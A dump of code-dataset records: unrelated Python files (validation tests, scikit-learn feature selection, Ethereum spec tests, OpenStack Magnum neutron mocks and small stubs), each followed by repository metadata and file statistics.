'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] with self.assertRaises(Exception) as ite: get_number_field(answer, label, '', returned_error_messages, self.store) self.assertEqual(str(ite.exception), 'min_value: -1000000000 < system minimum: -999999999 for answer id: test-range') def test_max_greater_than_system_limits(self): answer = { 'max_value': { 'value': 10000000000 }, 'id': 'test-range', 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] with self.assertRaises(Exception) as ite: get_number_field(answer, label, '', returned_error_messages, self.store) self.assertEqual(str(ite.exception), 'max_value: 10000000000 > system maximum: 9999999999 for answer id: test-range') def test_min_greater_than_max(self): answer = { 'min_value': { 'value': 20 }, 'max_value': { 'value': 10 }, 'id': 'test-range', 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] with self.assertRaises(Exception) as ite: get_number_field(answer, label, '', returned_error_messages, self.store) self.assertEqual(str(ite.exception), 'min_value: 20 > max_value: 10 for answer id: test-range') def test_answer_id_invalid_type(self): answer = { 'max_value': { 'answer_id': 'set-maximum-cat' }, 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] with self.assertRaises(Exception) as ite: get_number_field(answer, label, '', returned_error_messages, self.store) self.assertEqual(str(ite.exception), 'answer: set-maximum-cat value: cat for answer id: test-range is not a valid number') def test_manual_min_exclusive(self): answer = { 'min_value': { 'value': 10, 'exclusive': True }, 'label': 'Min Test', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL_EXCLUSIVE': 'The minimum value allowed is 10. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 10 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), returned_error_messages['NUMBER_TOO_SMALL_EXCLUSIVE']) try: integer_field.data = 11 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_manual_max_exclusive(self): answer = { 'max_value': { 'value': 20, 'exclusive': True }, 'label': 'Max Test', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_LARGE_EXCLUSIVE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', returned_error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 20 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), returned_error_messages['NUMBER_TOO_LARGE_EXCLUSIVE']) try: integer_field.data = 19 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError')

34.965636

118

0.567125

2,015

20,350

5.516129

0.069975

0.066937

0.047413

0.043185

0.879262

0.848493

0.822582

0.801799

0.801619

0

0.020532

0.337052

20,350

581

119

35.025818

0.80335

0.004816

0

0.690021

0

0.002123

0.22376

0.007116

0

0.080679

1

0.042463

false

0

0.016985

0

0.061571

0

null

0

1

0

null

0

6

3141ee6e2671951af4607884d1245aef7cc0d3cb

31

py

Python

AIs/Manoj Bisht/__init__.py

YSabarad/monopyly

0460f2452c83846b6b9e3b234be411e12a86d69c

[ "MIT" ]

4

2015-11-04T21:18:40.000Z

2020-12-26T21:15:23.000Z

AIs/Manoj Bisht/__init__.py

YSabarad/monopyly

0460f2452c83846b6b9e3b234be411e12a86d69c

[ "MIT" ]

2

2021-08-09T18:19:58.000Z

2021-08-10T14:44:54.000Z

AIs/Manoj Bisht/__init__.py

YSabarad/monopyly

0460f2452c83846b6b9e3b234be411e12a86d69c

[ "MIT" ]

6

2015-08-01T17:54:17.000Z

2022-02-28T00:00:21.000Z

from .rimpo_ai import RimpoAI

10.333333

29

0.806452

5

31

4.8

1

0

0.16129

31

2

30

15.5

0.923077

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

314a751f58afd1795c2cb34a9dc27304b57c5d69

6,454

py

Python

autoreglib/model_feature_reg.py

s-yagyu/pys

3ded91377bf2c863db40525e34bfbe41db1d7c37

[ "MIT" ]

null

autoreglib/model_feature_reg.py

s-yagyu/pys

3ded91377bf2c863db40525e34bfbe41db1d7c37

[ "MIT" ]

null

autoreglib/model_feature_reg.py

s-yagyu/pys

3ded91377bf2c863db40525e34bfbe41db1d7c37

[ "MIT" ]

null

""" モデルベース特徴量選択教師あり学習モデルを用いて個々の特徴量の重要度を判断して、重要なものだけを残す方法。特徴選択に使うモデルは最終的に使うモデルと同じでなくてもよい。 SelectFromModelは、フィッティング後に coef_ またはfeature_importances_属性を持つ推定器と一緒に使用できるメタ変換器。 coef_またはfeature_importances_の対応する値が、指定されたしきい値パラメータを下回る場合、特徴は重要ではないとみなされ、削除されます。しきい値を数値で指定する以外にも、文字列引数を使用してしきい値を見つけるためのヒューリスティックスが組み込まれています。利用可能なヒューリスティックスは、「平均」、「中央値」、およびこれらの浮動小数点数の「0.1 *平均」。反復特徴量選択すべての特徴量を利用してモデルを作り、そのモデルで最も重要度が低い特徴量を削除する。そしてまたモデルを作り、事前に定めた数の特徴量まで繰り返す。このために、計算量ははるかに多い。 Randomforest, Gradientboosting, SVM """ import pandas as pd import matplotlib.pyplot as plt import numpy as np from pandas import Series, DataFrame import seaborn as sns sns.set_style('whitegrid') import scipy as sp from sklearn.linear_model import LinearRegression from sklearn.svm import SVR from sklearn.feature_selection import SelectFromModel from sklearn.feature_selection import RFE from sklearn.ensemble import RandomForestRegressor from sklearn.ensemble import GradientBoostingRegressor def randomforestreg(X_train, y_train, X_test, y_test, X_name_list,threshold="median"): ''' randomforestで特徴量選択を行う。その後Linierregressionで識別機を作成 :param X_train: :param y_train: :param X_test: :param y_test: :param X_name_list:feature name :return: ''' Xl = list(range(0, len(X_name_list))) # 特徴量選択 sfm = SelectFromModel(RandomForestRegressor(), threshold=threshold) sfm.fit(X_train, y_train) X_train_sfm = sfm.transform(X_train) X_test_sfm = sfm.transform(X_test) print("X_train.shape: {}".format(X_train.shape)) print("X_train_sfm.shape: {}".format(X_train_sfm.shape)) reg2 = RandomForestRegressor() reg2.fit(X_train_sfm, y_train) print("Select From Model") print("Training Best score : {:.3f}".format(reg2.score(X_train_sfm, y_train))) print("Test Best score : {:.3f}".format(reg2.score(X_test_sfm, y_test))) mask_sfm = sfm.get_support() print("RandomForestRegression") # visualize the mask_sfm. black is True, white is False plt.matshow(mask_sfm.reshape(1, -1), cmap='gray_r') plt.yticks(()) plt.xticks(Xl, X_name_list, rotation=90) plt.show() # RFE rfe = RFE(RandomForestRegressor()) rfe.fit(X_train, y_train) # visualize the selected features: mask_rfe = rfe.get_support() print("RandomForest") plt.matshow(mask_rfe.reshape(1, -1), cmap='gray_r') plt.yticks(()) plt.xticks(Xl, X_name_list, rotation=90) X_train_rfe = rfe.transform(X_train) X_test_rfe = rfe.transform(X_test) print("LinearRegression") reg3 = LinearRegression() reg3.fit(X_train_rfe, y_train) print("Training Best score : {:.3f}".format(reg3.score(X_train_rfe, y_train))) print("Test Best score : {:.3f}".format(reg3.score(X_test_rfe, y_test))) def gradientboostingreg(X_train, y_train, X_test, y_test, X_name_list,threshold="median"): ''' :param X_train: :param y_train: :param X_test: :param y_test: :param Xl: feature number :param X_name_list:feature name :return: ''' Xl = list(range(0, len(X_name_list))) # 特徴量選択 sfm = SelectFromModel(GradientBoostingRegressor(), threshold=threshold) sfm.fit(X_train, y_train) X_train_sfm = sfm.transform(X_train) X_test_sfm = sfm.transform(X_test) print("X_train.shape: {}".format(X_train.shape)) print("X_train_sfm.shape: {}".format(X_train_sfm.shape)) reg2 = GradientBoostingRegressor() reg2.fit(X_train_sfm, y_train) print("SFM") print ("Training Best score : {:.3f}".format(reg2.score(X_train_sfm, y_train))) print ("Test Best score : {:.3f}".format(reg2.score(X_test_sfm, y_test))) mask_sfm = sfm.get_support() print("GradientBoosting") # visualize the mask_sfm. black is True, white is False plt.matshow(mask_sfm.reshape(1, -1), cmap='gray_r') plt.yticks(()) plt.xticks(Xl, X_name_list, rotation=90) plt.show() # RFE rfe = RFE(GradientBoostingRegressor()) rfe.fit(X_train, y_train) # visualize the selected features: mask_rfe = rfe.get_support() print("GradientBoostingRegressor") plt.matshow(mask_rfe.reshape(1, -1), cmap='gray_r') plt.yticks(()) plt.xticks(Xl, X_name_list, rotation=90) X_train_rfe = rfe.transform(X_train) X_test_rfe = rfe.transform(X_test) print("LinearRegression","RFE") reg3 = LinearRegression() reg3.fit(X_train_rfe, y_train) print ("Training Best score : {:.3f}".format(reg3.score(X_train_rfe, y_train))) print ("Test Best score : {:.3f}".format(reg3.score(X_test_rfe, y_test))) def svmreg(X_train, y_train, X_test, y_test, X_name_list,threshold="median"): ''' :param X_train: :param y_train: :param X_test: :param y_test: :param Xl: feature number :param X_name_list:feature name :return: ''' Xl = list(range(0, len(X_name_list))) # 特徴量選択 sfm = SelectFromModel(SVR(), threshold=threshold) sfm.fit(X_train, y_train) X_train_sfm = sfm.transform(X_train) X_test_sfm = sfm.transform(X_test) print("X_train.shape: {}".format(X_train.shape)) print("X_train_sfm.shape: {}".format(X_train_sfm.shape)) reg2 = SVR() reg2.fit(X_train_sfm, y_train) print("SFM") print("Training Best score : {:.3f}".format(reg2.score(X_train_sfm, y_train))) print("Test Best score : {:.3f}".format(reg2.score(X_test_sfm, y_test))) mask_sfm = sfm.get_support() # visualize the mask_sfm. black is True, white is False plt.matshow(mask_sfm.reshape(1, -1), cmap='gray_r') plt.xlabel("SVR") plt.yticks(()) plt.xticks(Xl, X_name_list, rotation=90) plt.show() # RFE rfe = RFE(SVR()) rfe.fit(X_train, y_train) # visualize the selected features: mask_rfe = rfe.get_support() plt.matshow(mask_rfe.reshape(1, -1), cmap='gray_r') plt.yticks(()) plt.xticks(Xl, X_name_list, rotation=90) plt.xlabel("SVR") X_train_rfe = rfe.transform(X_train) X_test_rfe = rfe.transform(X_test) print("LinearRegression") reg3 = LinearRegression() reg3.fit(X_train_rfe, y_train) print("Training Best score : {:.3f}".format(reg3.score(X_train_rfe, y_train))) print("Test Best score : {:.3f}".format(reg3.score(X_test_rfe, y_test)))

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null

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6

3166b5a3ad3e0bfab5b619020bc4e2ecd55cd4ad

191

py

Python

src/gwnet/__init__.py

Sunnesoft/g2net-challenge

a633719aa8344547a5e79f07180bb424faeab385

[ "MIT" ]

null

src/gwnet/__init__.py

Sunnesoft/g2net-challenge

a633719aa8344547a5e79f07180bb424faeab385

[ "MIT" ]

null

src/gwnet/__init__.py

Sunnesoft/g2net-challenge

a633719aa8344547a5e79f07180bb424faeab385

[ "MIT" ]

null

from .gw_cqt_gpu import * from .gw_device_manager import * from .gw_dataset import * from .gw_model import * from .gw_timeseries import * from .gw_utils import * from .gw_spectrogram import *

27.285714

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0.78534

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6

31b97cca1093685f6e9c84c02ab24c719a8bd4fb

34

py

Python

unsoliciated/list_open_ports.py

Tuutaans/lazy_enumerator

91eb059d6c173e60aff590b78f723168cd4264e3

[ "MIT" ]

null

unsoliciated/list_open_ports.py

Tuutaans/lazy_enumerator

91eb059d6c173e60aff590b78f723168cd4264e3

[ "MIT" ]

6

2022-02-09T15:44:34.000Z

2022-02-10T03:48:54.000Z

unsoliciated/list_open_ports.py

Tuutaans/lazy_enumerator

91eb059d6c173e60aff590b78f723168cd4264e3

[ "MIT" ]

2

2022-02-09T14:49:25.000Z

2022-02-09T16:26:11.000Z

def list_open_ports(): pass

6.8

22

0.647059

5

34

4

1

0

0.264706

34

4

23

8.5

0.8

0

1

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true

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null

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1

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null

0

1

0

6

31c449f16c93d4d9579fb9f80c5f1157b93dbc6e

89

py

Python

test/tests/decorator_whitespace.py

RangelReale/libpypa

e4b3c359d3d2a9ccbea1cbb0a977af8219dd64ef

[ "Apache-2.0" ]

152

2015-01-01T02:26:21.000Z

2022-03-04T12:18:15.000Z

test/tests/decorator_whitespace.py

kattkieru/libpypa

5e7a4833da515d0cd2d850d51f082000c9e9f651

[ "Apache-2.0" ]

43

2015-01-22T00:49:10.000Z

2019-02-26T22:42:59.000Z

test/tests/decorator_whitespace.py

kattkieru/libpypa

5e7a4833da515d0cd2d850d51f082000c9e9f651

[ "Apache-2.0" ]

42

2015-01-02T11:29:49.000Z

2022-03-04T12:18:17.000Z

# fail-if: '-x' not in EXTRA_JIT_ARGS def dec(f): return f @dec def f(): pass

8.9

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0.573034

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89

2.882353

0.764706

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0.280899

89

9

38

9.888889

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1

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null

0

1

0

1

0

1

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6

31e480b02abea915111647c95c60232d357fc089

342

py

Python

test/test_utils.py

silx-kit/h5grove

97dbbfd86c9498744ff387b49e6aa484d2f78cbb

[ "MIT" ]

2

2022-02-04T18:56:52.000Z

2022-02-18T04:46:18.000Z

test/test_utils.py

silx-kit/h5grove

97dbbfd86c9498744ff387b49e6aa484d2f78cbb

[ "MIT" ]

19

2021-06-29T13:03:30.000Z

2022-03-25T12:58:16.000Z

test/test_utils.py

silx-kit/h5grove

97dbbfd86c9498744ff387b49e6aa484d2f78cbb

[ "MIT" ]

null

from h5grove.utils import hdf_path_join def test_root_path_join(): assert hdf_path_join("/", "child") == "/child" def test_group_path_join(): assert hdf_path_join("/group1/group2", "data") == "/group1/group2/data" def test_group_path_join_trailing(): assert hdf_path_join("/group1/group2/", "data") == "/group1/group2/data"

24.428571

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0.710526

49

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4.591837

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0

0.0301

0.125731

342

13

77

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null

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null

0

1

0

1

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6

9ec5296498e0533b534871a19bc71c6d137fc5da

180

py

Python

src/collectd/registry.py

rdejoux/python-collectd-mock

4b42b108cd81cf9021dc8bdf85829ac827da682e

[ "MIT" ]

null

src/collectd/registry.py

rdejoux/python-collectd-mock

4b42b108cd81cf9021dc8bdf85829ac827da682e

[ "MIT" ]

2

2018-11-01T03:37:25.000Z

2020-01-24T09:04:57.000Z

src/collectd/registry.py

rdejoux/python-collectd-mock

4b42b108cd81cf9021dc8bdf85829ac827da682e

[ "MIT" ]

2

2017-06-22T18:58:07.000Z

2018-10-31T12:05:06.000Z

def register_init(func): pass def register_config(func): pass def register_read(func): pass def register_write(func): pass def info(msg): print(msg)

8.181818

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180

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180

21

27

8.571429

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1

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null

0

1

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6

9eca9a92ab0e2049f1ea1694252391a13327f37d

4,089

py

Python

tests/core/pyspec/eth2spec/test/altair/rewards/test_inactivity_scores.py

jmyllyla/eth2.0-specs

68692f823201dbae61d94e8747b690412b7b8505

[ "CC0-1.0" ]

null

tests/core/pyspec/eth2spec/test/altair/rewards/test_inactivity_scores.py

jmyllyla/eth2.0-specs

68692f823201dbae61d94e8747b690412b7b8505

[ "CC0-1.0" ]

null

tests/core/pyspec/eth2spec/test/altair/rewards/test_inactivity_scores.py

jmyllyla/eth2.0-specs

68692f823201dbae61d94e8747b690412b7b8505

[ "CC0-1.0" ]

null

from random import Random from eth2spec.test.context import ( with_altair_and_later, spec_test, spec_state_test, with_custom_state, single_phase, low_balances, misc_balances, ) from eth2spec.test.helpers.inactivity_scores import randomize_inactivity_scores from eth2spec.test.helpers.rewards import leaking import eth2spec.test.helpers.rewards as rewards_helpers @with_altair_and_later @spec_state_test def test_random_inactivity_scores_0(spec, state): randomize_inactivity_scores(spec, state, rng=Random(9999)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(9999)) @with_altair_and_later @spec_state_test def test_random_inactivity_scores_1(spec, state): randomize_inactivity_scores(spec, state, rng=Random(10000)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(10000)) @with_altair_and_later @spec_state_test def test_half_zero_half_random_inactivity_scores(spec, state): randomize_inactivity_scores(spec, state, rng=Random(10101)) half_val_point = len(state.validators) // 2 state.inactivity_scores = [0] * half_val_point + state.inactivity_scores[half_val_point:] yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(10101)) @with_altair_and_later @spec_state_test def test_random_high_inactivity_scores(spec, state): randomize_inactivity_scores(spec, state, minimum=500000, maximum=5000000, rng=Random(9998)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(9998)) @with_altair_and_later @with_custom_state(balances_fn=low_balances, threshold_fn=lambda spec: spec.EJECTION_BALANCE) @spec_test @single_phase def test_random_inactivity_scores_low_balances_0(spec, state): randomize_inactivity_scores(spec, state, rng=Random(11111)) yield from rewards_helpers.run_test_full_random(spec, state) @with_altair_and_later @with_custom_state(balances_fn=low_balances, threshold_fn=lambda spec: spec.EJECTION_BALANCE) @spec_test @single_phase def test_random_inactivity_scores_low_balances_1(spec, state): randomize_inactivity_scores(spec, state, rng=Random(22222)) yield from rewards_helpers.run_test_full_random(spec, state) @with_altair_and_later @with_custom_state(balances_fn=misc_balances, threshold_fn=lambda spec: spec.EJECTION_BALANCE) @spec_test @single_phase def test_full_random_misc_balances(spec, state): randomize_inactivity_scores(spec, state, rng=Random(33333)) yield from rewards_helpers.run_test_full_random(spec, state) # # Leaking variants # @with_altair_and_later @spec_state_test @leaking() def test_random_inactivity_scores_leaking_0(spec, state): randomize_inactivity_scores(spec, state, rng=Random(9999)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(9999)) @with_altair_and_later @spec_state_test @leaking() def test_random_inactivity_scores_leaking_1(spec, state): randomize_inactivity_scores(spec, state, rng=Random(10000)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(10000)) @with_altair_and_later @spec_state_test @leaking() def test_half_zero_half_random_inactivity_scores_leaking(spec, state): randomize_inactivity_scores(spec, state, rng=Random(10101)) half_val_point = len(state.validators) // 2 state.inactivity_scores = [0] * half_val_point + state.inactivity_scores[half_val_point:] yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(10101)) @with_altair_and_later @spec_state_test @leaking() def test_random_high_inactivity_scores_leaking(spec, state): randomize_inactivity_scores(spec, state, minimum=500000, maximum=5000000, rng=Random(9998)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(9998)) @with_altair_and_later @spec_state_test @leaking(epochs=5) def test_random_high_inactivity_scores_leaking_5_epochs(spec, state): randomize_inactivity_scores(spec, state, minimum=500000, maximum=5000000, rng=Random(9998)) yield from rewards_helpers.run_test_full_random(spec, state, rng=Random(9998))

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null

0

1

0

null

0

6

732babc5e94304f3c0074fa955851d6f98a6ccac

12,659

py

Python

magnum/tests/unit/common/test_neutron.py

ajmadsen/magnum

042d2ad14489afcecf0a3bc4038e2333e2acb3fb

[ "Apache-2.0" ]

319

2015-04-01T01:36:14.000Z

2022-01-18T13:21:46.000Z

magnum/tests/unit/common/test_neutron.py

ajmadsen/magnum

042d2ad14489afcecf0a3bc4038e2333e2acb3fb

[ "Apache-2.0" ]

10

2015-06-05T20:12:46.000Z

2018-10-17T09:14:22.000Z

magnum/tests/unit/common/test_neutron.py

ajmadsen/magnum

042d2ad14489afcecf0a3bc4038e2333e2acb3fb

[ "Apache-2.0" ]

254

2015-03-30T13:56:06.000Z

2022-03-26T03:40:22.000Z

# Copyright 2019 Catalyst Cloud Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from unittest import mock from magnum.common import exception from magnum.common import neutron from magnum import objects from magnum.tests import base from magnum.tests.unit.db import utils class NeutronTest(base.TestCase): def setUp(self): super(NeutronTest, self).setUp() cluster_dict = utils.get_test_cluster(node_count=1) nodegroups_dict = utils.get_nodegroups_for_cluster(node_count=1) self.cluster = objects.Cluster(self.context, **cluster_dict) self.nodegroups = [ objects.NodeGroup(self.context, **nodegroups_dict['master']), objects.NodeGroup(self.context, **nodegroups_dict['worker']) ] @mock.patch('magnum.common.clients.OpenStackClients') def test_delete_floatingip(self, mock_clients): mock_nclient = mock.MagicMock() fake_port_id = "b4518944-c2cf-4c69-a1e3-774041fd5d14" fake_fip_id = "0f8c6849-af85-424c-aa8e-745ade9a46a7" mock_nclient.list_floatingips.return_value = { 'floatingips': [ { 'router_id': '6ed4f7ef-b8c3-4711-93cf-d53cf0e8bdf5', 'status': 'ACTIVE', 'description': 'Floating IP for Kubernetes external ' 'service ad3080723f1c211e88adbfa163ee1203 ' 'from cluster %s' % self.cluster.uuid, 'tags': [], 'tenant_id': 'cd08a539b7c845ddb92c5d08752101d1', 'floating_network_id': 'd0b9a8c5-33e5-4ce1-869a-1e2ec7c2f' '74b', 'port_details': { 'status': 'ACTIVE', 'name': 'test-k8s-master', 'admin_state_up': True, 'network_id': '7b9110b5-90a2-40bc-b892-07d641387760 ', 'device_owner': 'compute:nova', 'mac_address': 'fa:16:3e:6f:ad:6c', 'device_id': 'a5c1689f-dd76-4164-8562-6990071701cd' }, 'fixed_ip_address': '10.0.0.4', 'floating_ip_address': '172.24.4.74', 'revision_number': 14, 'project_id': 'cd08a539b7c845ddb92c5d08752101d1', 'port_id': fake_port_id, 'id': fake_fip_id } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient neutron.delete_floatingip(self.context, fake_port_id, self.cluster) mock_nclient.delete_floatingip.assert_called_once_with(fake_fip_id) @mock.patch('magnum.common.clients.OpenStackClients') def test_delete_floatingip_empty(self, mock_clients): mock_nclient = mock.MagicMock() fake_port_id = "b4518944-c2cf-4c69-a1e3-774041fd5d14" mock_nclient.list_floatingips.return_value = { 'floatingips': [] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient neutron.delete_floatingip(self.context, fake_port_id, self.cluster) self.assertFalse(mock_nclient.delete_floatingip.called) @mock.patch('magnum.common.clients.OpenStackClients') def test_delete_floatingip_exception(self, mock_clients): mock_nclient = mock.MagicMock() fake_port_id = "b4518944-c2cf-4c69-a1e3-774041fd5d14" fake_fip_id = "0f8c6849-af85-424c-aa8e-745ade9a46a7" mock_nclient.list_floatingips.return_value = { 'floatingips': [ { 'router_id': '6ed4f7ef-b8c3-4711-93cf-d53cf0e8bdf5', 'status': 'ACTIVE', 'description': 'Floating IP for Kubernetes external ' 'service ad3080723f1c211e88adbfa163ee1203 ' 'from cluster %s' % self.cluster.uuid, 'tags': [], 'tenant_id': 'cd08a539b7c845ddb92c5d08752101d1', 'floating_network_id': 'd0b9a8c5-33e5-4ce1-869a-1e2ec7c2f' '74b', 'port_details': { 'status': 'ACTIVE', 'name': 'test-k8s-master', 'admin_state_up': True, 'network_id': '7b9110b5-90a2-40bc-b892-07d641387760 ', 'device_owner': 'compute:nova', 'mac_address': 'fa:16:3e:6f:ad:6c', 'device_id': 'a5c1689f-dd76-4164-8562-6990071701cd' }, 'fixed_ip_address': '10.0.0.4', 'floating_ip_address': '172.24.4.74', 'revision_number': 14, 'project_id': 'cd08a539b7c845ddb92c5d08752101d1', 'port_id': fake_port_id, 'id': fake_fip_id } ] } mock_nclient.delete_floatingip.side_effect = Exception osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient self.assertRaises( exception.PreDeletionFailed, neutron.delete_floatingip, self.context, fake_port_id, self.cluster ) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_external_network_id(self, mock_clients): fake_name = "fake_network" fake_id = "24fe5da0-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_networks.return_value = { 'networks': [ { 'id': fake_id, 'name': fake_name, 'router:external': True } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient network_id = neutron.get_external_network_id(self.context, fake_name) self.assertEqual(fake_id, network_id) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_external_network_id_notfound(self, mock_clients): fake_name = "fake_network" fake_id = "24fe5da0-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_networks.return_value = { 'networks': [ { 'id': fake_id, 'name': fake_name, 'router:external': True } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient self.assertRaises( exception.ExternalNetworkNotFound, neutron.get_external_network_id, self.context, "another_network" ) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_external_network_id_conflict(self, mock_clients): fake_name = "fake_network" fake_id_1 = "24fe5da0-1ac0-11e9-84cd-00224d6b7bc1" fake_id_2 = "93781f82-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_networks.return_value = { 'networks': [ { 'id': fake_id_1, 'name': fake_name, 'router:external': True }, { 'id': fake_id_2, 'name': fake_name, 'router:external': True } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient self.assertRaises( exception.Conflict, neutron.get_external_network_id, self.context, fake_name ) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_fixed_network_name(self, mock_clients): fake_name = "fake_network" fake_id = "24fe5da0-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_networks.return_value = { 'networks': [ { 'id': fake_id, 'name': fake_name, 'router:external': False } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient network_name = neutron.get_fixed_network_name(self.context, fake_id) self.assertEqual(fake_name, network_name) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_fixed_network_name_notfound(self, mock_clients): fake_name = "fake_network" fake_id = "24fe5da0-1ac0-11e9-84cd-00224d6b7bc1" another_fake_id = "34fe5da0-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_networks.return_value = { 'networks': [ { 'id': fake_id, 'name': fake_name, 'router:external': False } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient self.assertRaises( exception.FixedNetworkNotFound, neutron.get_fixed_network_name, self.context, another_fake_id ) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_fixed_subnet_id(self, mock_clients): fake_name = "fake_subnet" fake_id = "35ee5da0-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_subnets.return_value = { 'subnets': [ { 'id': fake_id, 'name': fake_name, } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient subnet_id = neutron.get_fixed_subnet_id(self.context, fake_name) self.assertEqual(fake_id, subnet_id) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_fixed_subnet_id_notfound(self, mock_clients): fake_name = "fake_subnet" fake_id = "35ee5da0-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_subnets.return_value = { 'subnets': [ { 'id': fake_id, 'name': fake_name, } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient self.assertRaises( exception.FixedSubnetNotFound, neutron.get_fixed_subnet_id, self.context, "another_subnet" ) @mock.patch('magnum.common.clients.OpenStackClients') def test_get_fixed_subnet_id_conflict(self, mock_clients): fake_name = "fake_subnet" fake_id_1 = "35ee5da0-1ac0-11e9-84cd-00224d6b7bc1" fake_id_2 = "93781f82-1ac0-11e9-84cd-00224d6b7bc1" mock_nclient = mock.MagicMock() mock_nclient.list_subnets.return_value = { 'subnets': [ { 'id': fake_id_1, 'name': fake_name, }, { 'id': fake_id_2, 'name': fake_name, } ] } osc = mock.MagicMock() mock_clients.return_value = osc osc.neutron.return_value = mock_nclient self.assertRaises( exception.Conflict, neutron.get_fixed_subnet_id, self.context, fake_name )

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733e6a17282d9c3babef01f0e484c5bff3b41f16

87

py

Python

eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/exc.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/exc.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/exc.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

from openmtc_etsi.exc import SCLSyntaxError class XMLError(SCLSyntaxError): pass

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py

Python

db/tests/fixtures/faq_category.py

